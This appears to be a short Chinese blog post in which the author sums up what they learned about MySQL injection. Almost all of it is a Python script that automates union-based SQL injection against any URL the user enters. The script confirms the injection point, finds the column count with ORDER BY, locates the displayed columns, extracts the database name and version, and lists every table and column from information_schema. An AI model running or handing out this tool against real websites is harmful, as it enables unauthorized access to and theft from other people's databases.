前言:看玩mysql注入php
作一篇總結而後去打GTA 5python
正文:mysql
import requests def ljw(): global url,rse,headers url=input('請輸入你要進行測試的url:') a='%20and%201=1' al=url+a b='%20and%201=2' bl=url+b headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0'} rse=requests.get(url,headers=headers).content and1=requests.get(al,headers=headers).content and2=requests.get(bl,headers=headers).content print(al) print(bl) if rse==and1 and rse!=and2: print('[+]存在SQL注入') else: print('[-]不存在sql注入') exit() ljw() def order(): global gww for i in range(1,100): usdw='%20order%20by%20{}'.format(i) wge=url+usdw wtq=requests.get(wge,headers=headers).content look=requests.get(url,headers=headers).text if wtq!=look: lps=usdw[16] gww=int(lps)-1 livs=usdw.replace(usdw[16],str(gww)) print('[+]字段長度爲',gww) print('[+]字段長度:',url+livs) break order() def xwei(): global xc,fgk ofw=gww+1 wtws=range(1,ofw) owg=list(wtws) pot=",".join(str(i)for i in owg) xc='%20union%20select%20{}'.format(pot) fgk=url+xc print('[+]爆顯位') opr=requests.get(fgk,headers=headers) print('[+]Http狀態碼:',opr.status_code) print('[+]請讀取顯位:',opr.url) xwei() def huoqu(): liwd=input('請輸入顯位的位置:') liwd2=input('請輸入第二個顯位的位置或跳過:') print('database() 獲取數據庫名') print('version() 獲取數據庫版本') gsc=input('請輸入要獲取的函數:') gsc2=input('請輸入你要獲取的函數:') hw=xc.replace('%20',' ') posw=hw.replace(liwd,gsc) lk=posw.replace(liwd2,gsc2) gwd=lk.replace(' ','%20') usc=url+gwd kiv=requests.get(usc,headers=headers) print('[+]狀態碼:',kiv.status_code) print('[+]獲取的數據:',kiv.url) huoqu() def htbale(): print('爆數據庫下全部的表') wdf=fgk.replace('1','table_name') ko=wdf+'%20from%20information_schema.tables' dw=requests.get(ko,headers=headers) print('[+]狀態碼:',dw.status_code) print('[+]獲取全部表的:',dw.url) htbale() def lisrw(): print('[+]爆出全部列') wdf=fgk.replace('1','%20column_name') gw=wdf+'%20from%20information_schema.columns' sdw=requests.get(gw,headers=headers) print('[+]狀態碼:',sdw.status_code) print('[+]全部列的:',sdw.url) lisrw()